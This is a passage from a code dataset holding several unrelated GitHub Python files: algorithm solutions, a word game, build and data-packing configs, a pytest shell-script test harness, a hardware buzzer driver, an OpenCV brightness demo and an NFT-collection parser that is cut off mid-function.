self.prepare_geojson(reformated_bbox, area)\n )\n return polygon_coordinates\n","repo_name":"NASA-IMPACT/ship_detection_ecs","sub_path":"code/infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":10700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71041410112","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def dfs(self,root,presum):\n if not root:return 0\n if not root.left and not root.right:\n return 10*presum + root.val\n if root.left and root.right:\n left = self.dfs(root.left,10*presum + root.val)\n right = self.dfs(root.right,10*presum + root.val)\n return left + right\n #否则那么就是只有一个边\n if root.left:\n return self.dfs(root.left,10*presum + root.val)\n if root.right:\n return self.dfs(root.right,10*presum + root.val)\n \n \n def sumNumbers(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n presum = 0\n return self.dfs(root,presum)\n","repo_name":"dedekinds/pyleetcode","sub_path":"129_Sum Root to Leaf Numbers_medium.py","file_name":"129_Sum Root to Leaf Numbers_medium.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"5270903142","text":"\"\"\"\n will lehman\n cs5001-02\n fall 2019\n 11/21/2019\n hw6\n\n wordgame.py\n\"\"\"\n\nfrom scrabble_points import *\nfrom wordlist import get_wordlist\nimport random\n\n\nNUM_LETTERS = {'E': 12, 'A': 9, 'I': 9, 'O': 8, 'N': 6, 'R': 6, 'T': 6,\n 'D': 4, 'L': 4, 'S': 4, 'U': 4, 'G': 3, 'B': 2, 'C': 2, 'F': 2,\n 'H': 2, 'M': 2, 'P': 2, 'V': 2, 'W': 2, 'Y': 2, '':2, 'J': 1,\n 'K': 1, 'Q': 1, 'X': 1, 'Z': 1}\n\nPOINTS = {1: ['A', 'E', 'I', 'O', 'U', 'L', 'N', 'S', 'T', 'R'],\n 2: ['D', 'G'],\n 3: ['B', 'C', 'M', 'P'],\n 4: ['F', 'H', 'V', 'W', 'Y'],\n 5: ['K'],\n 8: ['J', 'X'],\n 10: ['Q', 'Z']}\n\n\ndef play(letters, wordlist, games):\n '''\n function: play\n in: letters (string of 7 drawn letters),\n wordlist (list of strings of possible words),\n games (dict of words played with points won)\n out: nothing\n does: checks to see if word user inputs is valid (hasn't been\n guessed already, the tiles are in play, and the word is\n in the wordlist). sends to get_points if determined valid\n to calculate point value. saves word and points to dict.\n '''\n # user input\n word = input('what\\'s your word? ').upper()\n\n # checks if word in wordlist, if it isn't errors and returns\n if word not in wordlist:\n print('word invalid, no points gained.')\n return\n\n # checks letters for the number of blank tiles, saves int val for check\n num_blanks = len([char for char in letters if char == ''])\n\n # splits up word if the letters have a blank tile, skips the \"missing\"\n # tile, elif, errors and returns\n for char in word:\n if char not in letters and num_blanks != 0:\n num_blanks -= 1\n elif char not in letters and num_blanks == 0:\n print('the letter', char, 'isn\\'t in play')\n return\n\n # checks to see if words played, if yes errors and returns\n if word in games.keys():\n print('you\\'ve already played that')\n return\n\n # calls get points to get points\n points = get_points(word)\n\n # creates dict entry for word with point value\n games[word] = points\n\n\ndef get_points(word):\n '''\n function: get points\n in: word (string)\n out: points (integer)\n does: converts letters to their summed point value using constant\n vals for point values. returns overall points\n '''\n # init points\n points = 0\n\n # unpack word, compare to vals in points dict add key from that dict\n # (point value) if theres a match\n for char in word:\n for k, v in POINTS.items():\n for letter in v:\n if letter == char:\n points += k\n\n return points\n\n\ndef draw(bag):\n '''\n function: draw\n in: bag (list of strings)\n out: letters (list of strings)\n does: takes in a bag of letters and draws 7 random letters from the\n bag using sample and indices. removes the letters after\n choosing them.\n '''\n letters = []\n\n # makes a list of 7 random indices from 0 to the length of the bag - 1\n # (0 - index list)\n idx = random.sample(range(0, len(bag) - 1), 7)\n\n # adds letter at index i to the bag\n for i in idx:\n letters += [bag[i]]\n\n # removes letters based on value from the bag\n for letter in letters:\n bag.remove(letter)\n\n return letters\n\n\ndef main():\n # games dict saves all games for printing\n games = {}\n # the 7 letters drawn\n letters = []\n # the bag of letters, created based on the constant NUM_LETTERS\n bag = bag_of_letters(NUM_LETTERS)\n # wordlist call to import its unpacked list\n wordlist = get_wordlist()\n\n # choice init\n choice = ''\n # constantly asks user for input until Q or correct input, upper()s input\n while choice != 'Q':\n choice = input('D - draw 7 letters\\n'\n 'W - make a word from the letters\\n'\n 'P - print the words so far\\n'\n 'Q - QUIT\\n').upper()\n\n # D choice for draw, checks to see if the bag has 7 (enough for a draw)\n if choice == 'D' and len(bag) >= 7:\n letters = draw(bag)\n print('you drew', letters)\n\n # error message for if the bag has less than 7 tiles\n elif choice == 'D' and len(bag) < 7:\n print('less than 7 letters left in the bag. make another choice')\n\n # checks to see if letters have been drawn, if not error, if yes\n # calls the play func\n elif choice == 'W':\n if letters == []:\n choice = ''\n print('in order to make a word, you need to draw (D)\\n'\n 'try again\\n')\n else:\n play(letters, wordlist, games)\n\n # prints the sum of the values in games (all points)\n # then unpacks the dict to show each answer and point valus\n elif choice == 'P':\n print('you have a total of', sum(games.values()))\n for k, v in games.items():\n print(k, '--', v, 'POINTS')\n\n # if bag is empty or out of letters, prints and quits\n elif len(bag) == 0 or len(letters) == 0:\n print('you\\'ve run out of tiles!')\n print('you have a total of', sum(games.values()))\n for k, v in games.items():\n print(k, '--', v, 'POINTS')\n quit()\n\n\nmain()\n","repo_name":"wglehman/hw6_cs5001","sub_path":"wordgame.py","file_name":"wordgame.py","file_ext":"py","file_size_in_byte":5602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7887740594","text":"import subprocess\nfrom io import StringIO\n\nfrom ruamel.yaml import YAML\nyaml = YAML()\n\nfrom . import common, jsonnet\n\ndef update(path: str, rc: common.RuntimeConfig, lock_all: bool) -> None:\n cfg = common.get_config(path, rc)\n lockedlayers = []\n for l in cfg.layers:\n if not lock_all and not (l.is_remote or l.check_hash):\n continue\n l.vendor_content()\n lockedlayers.append(dict(\n name=l.name,\n hash=l.content_digest,\n ))\n\n lockfile = dict(layers=lockedlayers)\n \n cfg.write_lockfile(lockfile)\n","repo_name":"google/kasane","sub_path":"kasane/ops/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"60"} +{"seq_id":"14409599871","text":"from __future__ import absolute_import, print_function\nimport os\n\nfrom hat.data.packer.anno_transformer import (\n anno_to_contours_fn_with_label_mapping,\n)\nfrom hat.data.packer.utils import (\n get_colors_and_class_names_for_lane_parsing,\n get_default_pack_args_from_environment,\n init_logger,\n)\nfrom hat.utils import Config\n\n# default args\npacker_env = get_default_pack_args_from_environment()\nnum_workers = packer_env.num_worker\nverbose = packer_env.verbose\n\n# logger\nlogger = init_logger(log_file=\"log/train.log\", overwrite=True)\n\ntask_name = \"lane_parsing\"\n\ncls = \"5_2\" # lane parsing\nlabel_map_config = Config.fromfile(\n os.path.join(\"configs\", task_name, \"lane_parsing_labelmap_5_2cls.py\")\n) # noqa\nsrc_label = label_map_config.src_label\ndst_label = label_map_config.dst_label\nif \"dst_label_map\" in label_map_config.keys():\n dst_label_map = label_map_config.dst_label_map\nelse:\n dst_label_map = None\ncolor_map = label_map_config.color_map\nif \"class_config\" in label_map_config.keys():\n class_config = label_map_config.class_config\nelse:\n class_config = None\n\n\ninput_root_dir = f\"data/{task_name}\"\noutput_dir = f\"data/lmdb/{task_name}/\"\nlabel_map_output_dir = f\"{output_dir}/gt/anno_{cls}\"\n\nidx_path = os.path.join(output_dir, \"idx\")\nimg_path = os.path.join(output_dir, \"img\")\nanno_path = os.path.join(output_dir, \"anno\")\n\n\nfor root, _, files in os.walk(input_root_dir):\n for file in files:\n if file.endswith(\".jpg\"):\n input_img_dir = root\n break\n if file.endswith(\"data.json\"):\n input_anno_file = os.path.join(root, file)\n break\n\nreuse_prelabel = False # whether to combine prelabel results to annotation\n\n\nanno_ts_fn_config = dict(shuffle=True)\ncolors, clsnames = get_colors_and_class_names_for_lane_parsing(color_map)\n\nanno_transformer = [\n dict(\n type=\"DefaultGenerateLabelMapAnnoTs\",\n __build_recursive=False,\n output_dir=label_map_output_dir,\n src_label=src_label,\n dst_label=dst_label,\n dst_label_map=dst_label_map,\n reuse_prelabel=reuse_prelabel,\n colors=colors,\n clsnames=clsnames,\n # anno_to_contours_fn=default_anno_to_contours_fn,\n anno_to_contours_fn=anno_to_contours_fn_with_label_mapping,\n check_parsing_ignore=True,\n ),\n dict(\n type=\"DenseBoxSegAnnoTs\",\n __build_recursive=False,\n class_ids=list(range(1, 20)),\n verify_image=True,\n verify_label=True,\n ),\n]\n\ndata_packer = dict(\n type=\"DetSeg2DPacker\",\n input_img_dir=input_img_dir,\n input_anno_file=input_anno_file,\n output_dir=output_dir,\n num_workers=num_workers,\n)\n","repo_name":"Sinofairy/deploy","sub_path":"compile_tools/pilot_rear_light/pack_tools/configs/lane_parsing/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40196354123","text":"import sys\nsys.setrecursionlimit(10**9)\ninput = sys.stdin.readline\n\nN = int(input())\nC = list(map(int, input().split()))\ngraph = [[] for _ in range(N)]\nfor _ in range(N - 1):\n a, b = map(int, input().split())\n a -= 1; b -= 1\n graph[a].append(b)\n graph[b].append(a)\n\ncolors = [0] * (10**5 + 1)\nans = [1]\ndef dfs(node, parent):\n colors[C[node]] += 1\n for x in graph[node]:\n if x == parent:\n continue\n if colors[C[x]] == 0:\n ans.append(x+1)\n dfs(x, node)\n colors[C[node]] -= 1\n\ndfs(0, -1)\nans.sort()\nfor x in ans:\n print(x)","repo_name":"kyug3/my-atcoder","sub_path":"ABC/ABC198/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32896923547","text":"class Solution:\n def replaceElements(self, arr: List[int]) -> List[int]:\n #new max = max(old_max, arr[i])\n \n maxx = -1\n \n \n for c in range(len(arr)-1, -1, -1):\n arr[c] , maxx = maxx, max(arr[c], maxx)\n \n return arr","repo_name":"yashk1/Leetcode-a-day","sub_path":"ARRAYS EXPLORE CARD (p)/10. 1299-replace-elements-with-greatest-element-on-right-side/1299-replace-elements-with-greatest-element-on-right-side.py","file_name":"1299-replace-elements-with-greatest-element-on-right-side.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38134563277","text":"\"\"\"\nsrc/pytest_shell_script_test_harness/__impl.py (pytest-shell-script-test-harness)\n\"\"\" # noqa: E501,W505,B950\n################################################################################\n#region Python Library Preamble\n\n# we know that the repo path is ./../../ b/c we should be in ./src//\nimport os.path as os_path\nMY_DIR_FULLPATH = os_path.dirname(__file__)\nMY_REPO_FULLPATH = os_path.dirname(os_path.dirname(MY_DIR_FULLPATH))\ndel os_path\n\nfrom logging import ( # noqa: F401\n FATAL as logging_FATAL,\n getLogger as logging_getLogger,\n)\nlogger = logging_getLogger(__name__)\nlogger_log = logger.log\n\n#endregion Python Library Preamble\n################################################################################\n\n###############################################################################\n#region Imports\n\n#===============================================================================\n#region stdlib\n\nfrom os import (\n chmod as os_chmod,\n environ as os_environ,\n mkdir as os_mkdir,\n)\nfrom os.path import (\n abspath as os_path_abspath,\n basename as os_path_basename,\n dirname as os_path_dirname,\n exists as os_path_exists,\n join as os_path_join,\n sep as os_path_sep,\n)\nfrom platform import (\n uname as platform_uname,\n)\nfrom shlex import (\n join as shlex_join,\n quote as shlex_quote,\n)\nfrom shutil import (\n copytree as shutil_copytree,\n)\nfrom subprocess import ( # noqa: F401 # nosec\n call as subprocess_call,\n CompletedProcess as subprocess_CompletedProcess,\n run as subprocess_run,\n)\nimport sys\nfrom typing import (\n Any,\n List,\n Dict,\n Optional,\n Union,\n)\n\n#endregion stdlib\n#===============================================================================\n\n#===============================================================================\n#region third party\n\nfrom coverage.plugin_support import ( # type: ignore\n Plugins as coverage_plugin_support_Plugins, # type: ignore\n)\nimport pytest\nfrom pytest import (\n FixtureRequest as pytest_FixtureRequest,\n MonkeyPatch as pytest_MonkeyPatch,\n TempPathFactory as pytest_TempPathFactory,\n)\n\n#endregion third party\n#===============================================================================\n\n#===============================================================================\n#region ours\n\ntry:\n from .coverage_plugin import ( # pylint: disable=useless-import-alias\n CoverageShellScriptPlugin as CoverageShellScriptPlugin,\n )\nexcept ImportError: # pragma: no cover\n sys.path.insert(0, os_path_dirname(__file__))\n from coverage_plugin import ( # type: ignore # pylint: disable=useless-import-alias\n CoverageShellScriptPlugin as CoverageShellScriptPlugin, # type: ignore\n )\n\n#endregion ours\n#===============================================================================\n\n#endregion Imports\n################################################################################\n\n################################################################################\n#region Public Functions\n\ndef coverage_init(\n reg: coverage_plugin_support_Plugins, # type: ignore\n options: Dict[str, Any],\n) -> None:\n \"\"\"\n _summary_\n\n Args:\n reg (coverage_plugin_support_Plugins): _description_\n options (Dict[str, Any]): _description_\n \"\"\"\n plugin = CoverageShellScriptPlugin(options) # type: ignore\n reg.add_file_tracer(plugin) # type: ignore\n reg.add_configurer(plugin) # type: ignore\n\n#endregion Public Functions\n################################################################################\n\n################################################################################\n#region Public Classes\n\n#===============================================================================\nclass PytestShellScriptTestHarness:\n \"\"\"\n Test Harness for running unit tests against shell scripts.\n \"\"\"\n\n #---------------------------------------------------------------------------\n def __init__(\n self,\n mock_repo: str, # pylint: disable=redefined-outer-name\n request: pytest_FixtureRequest,\n tmp_path_factory: pytest_TempPathFactory,\n ) -> None:\n \"\"\"\n Initialize.\n \"\"\"\n super().__init__()\n self.mock_repo = mock_repo\n self.request = request\n self.tmp_path_factory = tmp_path_factory\n\n #---------------------------------------------------------------------------\n def run(\n self,\n additional_args: Optional[List[Union[str, int]]] = None,\n additional_env_vars: Optional[Dict[str, Optional[str]]] = None,\n use_bfi_run: bool = True,\n ) -> \"subprocess_CompletedProcess[bytes]\":\n \"\"\"\n Call the matching shell func in .sh file with same name as this .py file.\n\n Args:\n additional_args (Optional[List[str]], optional): list of args for shell\n function. Defaults to None.\n\n Returns:\n subprocess_CompletedProcess[bytes]: process object from subprocess\n \"\"\"\n if additional_args is None:\n additional_args = []\n if additional_env_vars is None:\n additional_env_vars = {}\n\n mock_repo_fullpath = self.mock_repo\n\n export_filepath = os_path_join(\n mock_repo_fullpath,\n \"_pssth-exports.sh\",\n )\n # mock repo project's run.sh\n run_sh_fullpath = os_path_join(\n mock_repo_fullpath,\n \"run.sh\",\n )\n # path to the actual script file we will run\n final_script_path = os_path_join(\n mock_repo_fullpath,\n \"_pssth-test.sh\",\n )\n\n # pass along our entire environment + OMEGA_DEBUG=all\n env: Dict[str, Any] = {}\n k: str\n v: Optional[str]\n for k, v in os_environ.items():\n env[k] = v\n env[\"OMEGA_DEBUG\"] = \"all\"\n env[\"NO_COLOR\"] = \"true\"\n env[\"_PSSTH\"] = \"true\"\n env[\"_PSSTH_EXECUTOR\"] = final_script_path\n env[\"DO_SET_X_RUN\"] = \"true\"\n if os_path_exists(run_sh_fullpath) and use_bfi_run:\n env[\"_PSSTH_EXECUTOR\"] = run_sh_fullpath\n for k, v in additional_env_vars.items():\n env[k] = v\n\n quoted_env: List[str] = []\n for k, v in env.items():\n if v is not None:\n quoted_env.append(f\"{k}={shlex_quote(str(v))}\")\n quoted_env.append(f\"export {k}\")\n else:\n quoted_env.append(f\"unset {k}\")\n\n quoted_env_str = \"\\n\".join(quoted_env)\n\n # write out exports data to be sourced by the postamble later\n export_file = None\n try:\n export_file = open(export_filepath, \"w\", encoding=\"utf8\")\n _ = export_file.write(quoted_env_str)\n export_file.flush()\n finally:\n if export_file is not None:\n export_file.close()\n\n # path to test script file we are supposed to run\n original_script_path = os_path_join(\n self.request.node.fspath.dirname,\n f\"{self.request.node.fspath.purebasename}.sh\",\n )\n original_script_file = open(original_script_path, \"rb\")\n original_script_data = original_script_file.read()\n original_script_file.close()\n\n # build the actual script file we will run\n out_file = open(final_script_path, \"wb\")\n\n preamble_filepath = os_path_join(\n MY_DIR_FULLPATH,\n \"resources\",\n \"preamble.sh\",\n )\n preamble_file = open(preamble_filepath, \"rb\")\n preamble_data = preamble_file.read()\n preamble_file.close()\n\n postamble_filepath = os_path_join(\n MY_DIR_FULLPATH,\n \"resources\",\n \"postamble.sh\",\n )\n postamble_file = open(postamble_filepath, \"rb\")\n postamble_data = postamble_file.read()\n postamble_file.close()\n\n _ = out_file.write(preamble_data)\n _ = out_file.write(original_script_data)\n _ = out_file.write(postamble_data)\n\n out_file.flush()\n out_file.close()\n\n os_chmod(final_script_path, 0o755) # nosec\n\n # build up command to run\n cmd: List[str] = []\n\n if os_path_exists(run_sh_fullpath) and use_bfi_run:\n cmd.append(run_sh_fullpath)\n\n cmd.extend([\n final_script_path,\n f\"{self.request.cls.__name__}__{self.request.function.__name__}\", # type: ignore[reportUnknownMemberType] # noqa: E501,B950\n ])\n\n str_additional_args = [str(x) for x in additional_args]\n if str_additional_args:\n cmd.extend(str_additional_args)\n\n cmd_str = shlex_join(cmd)\n\n print(f\"Running Command:\\n{cmd_str}\\n\")\n\n p = subprocess_run(\n cmd_str,\n capture_output=True,\n cwd=mock_repo_fullpath,\n shell=True, # nosec\n env={\n \"OMEGA_DEBUG\": \"all\",\n # \"DO_SET_X_RUN\": \"true\",\n },\n )\n\n print(f\"\\nRaw stdout bytes:\\n{repr(p.stdout)}\\n\")\n print(f\"\\nRaw stderr bytes:\\n{repr(p.stderr)}\\n\")\n print(f\"\\nstdout:\\n{str(p.stdout)}\\n\")\n print(f\"\\nstderr:\\n{str(p.stderr)}\\n\")\n print(f\"\\nReturn Code: {p.returncode}\\n\")\n\n if p.returncode == 252:\n raise AssertionError(p.stderr.strip().split(b\"\\n\")[-1])\n\n return p\n\n @staticmethod\n def isActuallyWindowsFileSystem() -> bool:\n \"\"\"\n Check if we are probably actually on Windows.\n\n Returns:\n bool: true if Windowsy, false if not Windowsy\n \"\"\"\n platform_uname_str = \" \".join(platform_uname()).casefold()\n if (\n any(\n x in platform_uname_str\n for x in [\"microsoft\", \"wsl\"]\n ) or\n os_environ.get(\"REAL_PLATFORM\", \"\") == \"MINGW64NT\" or\n os_environ.get(\"WSL_DISTRO_NAME\", \"\") != \"\"\n ):\n return True\n\n # we don't care if this fails b/c if it does,\n # we've got many other problems\n windows_fs = 1 # 1 is False\n try:\n windows_fs = subprocess_call( # nosec\n \"mount | grep -e '[A-Z]:\\\\\\\\'\",\n shell=True,\n )\n except Exception: # pylint: disable=broad-except # noqa: E722 # nosec\n pass\n if windows_fs == 0:\n return True\n\n return False\n\n#endregion Public Classes\n################################################################################\n\n################################################################################\n#region Fixtures\n\n#-------------------------------------------------------------------------------\n@pytest.fixture(name=\"shell_script_test_harness\")\ndef shell_script_test_harness(\n mock_repo: str, # pylint: disable=redefined-outer-name\n request: pytest_FixtureRequest,\n tmp_path_factory: pytest_TempPathFactory,\n) -> PytestShellScriptTestHarness:\n \"\"\"\n Fixture wrapper for PytestShellScriptTestHarness.\n\n Args:\n tmp_path_factory (pytest_TempPathFactory): pytest tmp_path_factory fixture\n\n Returns:\n PytestShellScriptTestHarness: PytestShellScriptTestHarness instance.\n \"\"\"\n return PytestShellScriptTestHarness(\n mock_repo=mock_repo,\n request=request,\n tmp_path_factory=tmp_path_factory,\n )\n\n#-------------------------------------------------------------------------------\n@pytest.fixture(name=\"shell_script\")\ndef shell_script(shell_script_test_harness): # type: ignore # noqa # pylint: disable=all\n yield shell_script_test_harness\n\n#-------------------------------------------------------------------------------\n@pytest.fixture\ndef mock_repo(\n monkeypatch: pytest_MonkeyPatch,\n request: pytest_FixtureRequest,\n tmp_path_factory: pytest_TempPathFactory,\n) -> str:\n \"\"\"\n Create a mock repo to use that looks like a repo that uses\n pytest-shell-script-test-harness, but also named\n pytest-shell-script-test-harness so we can re-use the already available\n conda environment.\n\n Args:\n monkeypatch (pytest_MonkeyPatch): pytest monkeypatch fixture\n tmp_path_factory (pytest_TempPathFactory): pytest tmp_path_factory fixture\n\n Returns:\n str: path of mock repo\n \"\"\"\n node_safe_name = request.node.name\\\n .replace(\"[\", \"-\")\\\n .replace(\"]\", \"-\")\n\n tempdir = tmp_path_factory.mktemp(node_safe_name, numbered=True)\n monkeypatch.chdir(tempdir)\n\n # \"a.b.c.d\" ->\n # 4\n subfolder_depth = len(request.module.__name__.split(\".\")) # type: ignore[reportUnknownMemberType] # noqa: E501,B950\n # \"/path/to/repo/a/b/c/d\" ->\n # \"/path/to/repo\"\n repo_fullpath = os_path_join(\n \"/\",\n *request.module.__file__.split(os_path_sep)[:(-1 * subfolder_depth)], # type: ignore[reportUnknownArgumentType] # noqa: E501,B950\n )\n\n # \"/path/to/repo\" ->\n # \"repo\"\n repo_name = os_path_basename(repo_fullpath)\n\n # # \"/path/to/repo\" ->\n # # \"/path/to/repo/src\"\n # repo_src_fullpath = os_path_join(\n # repo_fullpath,\n # \"src\",\n # )\n\n # # \"/path/to/repo\" ->\n # # \"/path/to/repo/bin\"\n # repo_bin_fullpath = os_path_join(\n # repo_fullpath,\n # \"bin\",\n # )\n\n mock_repo_fullpath: str = os_path_abspath(repo_name)\n\n os_mkdir(mock_repo_fullpath)\n monkeypatch.chdir(mock_repo_fullpath)\n\n # # write a pyproject.toml for the mock repo\n # with open(\"pyproject.toml\", \"w\", encoding=\"utf-8\") as f:\n # _ = f.write(\"\"\"\\\n # name = \"template_project\"\n # version = \"0.0.0\"\n # description = \"A template project.\"\n # \"\"\")\n # f.flush()\n\n # # copy src/** into mock repo\n # mock_src_fullpath = os_path_join(\n # mock_repo_fullpath,\n # \"src\",\n # )\n # if os_path_exists(repo_src_fullpath):\n # shutil_copytree(\n # repo_src_fullpath,\n # mock_src_fullpath,\n # dirs_exist_ok=True,\n # symlinks=True,\n # ignore_dangling_symlinks=True,\n # )\n\n # # copy src/** into mock repo\n # mock_bin_fullpath = os_path_join(\n # mock_repo_fullpath,\n # \"bin\",\n # )\n # if os_path_exists(repo_bin_fullpath):\n # shutil_copytree(\n # repo_bin_fullpath,\n # mock_bin_fullpath,\n # symlinks=True,\n # ignore_dangling_symlinks=True,\n # dirs_exist_ok=True,\n # )\n\n shutil_copytree(\n repo_fullpath,\n mock_repo_fullpath,\n symlinks=True,\n ignore_dangling_symlinks=True,\n dirs_exist_ok=True,\n )\n\n # # copy the test .sh into mock repo\n # shell_harness_path = os_path_join(\n # request.node.fspath.dirname,\n # f\"{request.node.fspath.purebasename}.sh\",\n # )\n # if os_path_exists(shell_harness_path): # pragma: no branch\n # shutil_copy2(\n # shell_harness_path,\n # mock_repo_fullpath,\n # )\n\n return mock_repo_fullpath\n\n#endregion Fixtures\n################################################################################\n\n################################################################################\n#region Private Functions\n\n#-------------------------------------------------------------------------------\ndef __main(argv: List[str]) -> int:\n \"\"\"\n Entry point.\n\n Args:\n argv (list[str]): command line arguments\n\n Returns:\n int: return code\n \"\"\"\n # ignore unused vars from func signature\n argv = argv # pylint: disable=self-assigning-variable\n\n logger_log(logging_FATAL, \"This module should not be run directly.\")\n\n return 1\n\n#endregion Private Functions\n################################################################################\n\n################################################################################\n#region Immediate\n\nif __name__ == \"__main__\": # pragma: no cover\n __ret = __main(sys.argv[1:]) # pylint: disable=invalid-name\n sys.exit(__ret)\n\n#endregion Immediate\n################################################################################\n","repo_name":"MarximusMaximus/pytest-shell-script-test-harness","sub_path":"src/pytest_shell_script_test_harness/__impl.py","file_name":"__impl.py","file_ext":"py","file_size_in_byte":16712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38311592176","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\ndata = ['albert',18,[2000,1,1]]\nname = data[0]\nage = data[1]\nyear = data[2][0]\nmonth = data[2][1]\nday = data[2][2]\nprint(name,age,year,month,day)\n\n\n","repo_name":"Peytonzh/python-upgrade","sub_path":"day03/day03-02.py","file_name":"day03-02.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18652832858","text":"# Written by Jeffrey Bringolf\n\nfrom enum import Enum\nfrom time import sleep\nimport seeed_python_reterminal.core as rt\nfrom ..interfaces.reading import Reading\nfrom ..interfaces.sensors import ISensor\nfrom ..interfaces.command import Command\nfrom ..interfaces.actuators import IActuator\n\n\nclass Buzzer(ISensor, IActuator):\n\n class State(Enum):\n ON = True\n OFF = False\n\n @classmethod\n def contains(cls, value: \"Buzzer.State\") -> bool:\n \"\"\"\n Checks whether the state is present in this enum.\n\n Parameters\n ----------\n state: Buzzer.State\n The state to check whether it is contained in the enum.\n\n Returns\n -------\n bool\n True if the state is in the enum. False otherwise.\n \"\"\"\n\n return len([x for x in iter(cls) if x.value == value]) > 0\n\n @classmethod\n def has_value(cls, value: bool) -> bool:\n \"\"\"\n Checks whether the state value is present in this enum.\n\n Parameters\n ----------\n state: bool\n The boolean value to check whether it is contained in the enum as a value.\n\n Returns\n -------\n bool\n True if the state value is in the enum. False otherwise.\n \"\"\"\n\n return value in cls._value2member_map_\n\n def __init__(self, gpio=None) -> None:\n self._reading_types = [Reading.Type.BUZZER]\n self._reading_units = [Reading.Unit.BOOL]\n\n def read(self) -> list[Reading]:\n return [Reading(rt.buzzer, self.reading_types[0], self.reading_units[0])]\n\n @property\n def reading_types(self) -> list[Reading.Type]:\n return self._reading_types\n\n @property\n def reading_units(self) -> list[Reading.Unit]:\n return self._reading_units\n\n def control_actuator(self, command: Command) -> bool:\n\n # Guard on command validity\n if not self.validate_command(command):\n return False\n\n if command.value == Buzzer.State.ON.value:\n # Buzzer on\n rt.buzzer = True\n elif command.value == Buzzer.State.OFF.value:\n # Buzzer off\n rt.buzzer = False\n else:\n return False\n\n return True\n\n def validate_command(self, command: Command) -> bool:\n\n return Buzzer.State.has_value(command.value) \\\n and command.type == Command.Type.BUZZER\n\n\n# Must be run with sudo\nif __name__ == \"__main__\":\n\n buzzer = Buzzer()\n delay = 1\n\n try:\n while True:\n\n print(\"Turning On\")\n buzzer.control_actuator(\n Command(\n Command.Type.BUZZER,\n Command.Unit.BOOL,\n Buzzer.State.ON.value)\n )\n print(buzzer.read())\n\n # Pause for results\n sleep(delay)\n\n print(\"Turning Off\")\n buzzer.control_actuator(\n Command(\n Command.Type.BUZZER,\n Command.Unit.BOOL,\n Buzzer.State.OFF.value)\n )\n print(buzzer.read())\n\n # Pause for results\n sleep(delay)\n\n except KeyboardInterrupt:\n # Turn off when done\n buzzer.control_actuator(\n Command(\n Command.Type.BUZZER,\n Command.Unit.BOOL,\n Buzzer.State.OFF.value\n )\n )\n","repo_name":"jeffbrin/SHFT","sub_path":"farm/subsystems/security_subsystem/buzzer.py","file_name":"buzzer.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"39008442060","text":"import numpy as np\nimport cv2\n\npath = \"Project_Controlling_brightness_with_GUI_using_opencv/\"\nimg = cv2.imread(path + 'images/car.jpg')\nprint(img)\ndef nothing(x):\n pass\n\ncv2.namedWindow('Brightness Control')\n#Args : trackbar name, windown name, default, max, a standard test function (a lambda could work)\nbright = cv2.createTrackbar('Brightness','Brightness Control',75,255,nothing)\n#matrix with same shape as img\nvalue = np.ones_like(img,dtype='uint8')\n\n\nwhile True:\n bright = cv2.getTrackbarPos('Brightness','Brightness Control')\n bar = bright - 127\n \n if bar >=0:\n value = np.ones_like(img,dtype='uint8')*bar\n img_ctrl = cv2.add(img,value)\n \n else:\n bright = 127 - bright\n value = np.ones_like(img,dtype='uint8')*bright\n img_ctrl = cv2.subtract(img,value)\n\n \n cv2.imshow('Brightness Control',img_ctrl)\n \n if cv2.waitKey(1) == 27: # esc button\n break\n \n \ncv2.destroyAllWindows()\n","repo_name":"abuck2/image_analysis","sub_path":"openCV_basics/brightness.py","file_name":"brightness.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36860692350","text":"import asyncio\nimport tls_client\nfrom loguru import logger\nfrom aiogram.utils.exceptions import BotBlocked\n\nfrom config import headers, get_json\n\n\nasync def start_parsing(bot, user, base):\n session = tls_client.Session(client_identifier=\"chrome_110\")\n base.create_table()\n\n old_collection = base.get_all_project()\n new_collection = []\n count = 1\n do = True\n while do:\n names = []\n response = session.post('https://wax.api.aa.atomichub.io/atomicmarket/v1/stats/collections',\n headers=headers,\n json=get_json(count)\n ).json()\n for data in response['data']['results']:\n collection_name = data['collection_name']\n name = data['name']\n author = data['author']\n fee = data['market_fee'] * 100\n url = f'https://wax.atomichub.io/explorer/collection/wax-mainnet/{collection_name}'\n\n if not base.get_project(collection_name):\n base.add_data(collection_name, name, author, fee, url)\n await asyncio.sleep(1)\n text = f'🔥️Новая коллекция!🔥' \\\n f'\\nКоллекция: {collection_name}' \\\n f'\\nНазвание: {name}' \\\n f'\\nСоздатель: {author}' \\\n f'\\nКомиссия: {fee}' \\\n f'\\nСсылка: {url}'\n\n try:\n bot.send_message(user,\n text=text,\n disable_web_page_preview=True,\n parse_mode='HTML'\n )\n except BotBlocked:\n logger.error('bot block')\n base.del_user(user)\n except:\n pass\n\n names.append(collection_name)\n new_collection.append((collection_name,))\n\n count += 1\n\n if len(names) != 50:\n do = False\n else:\n 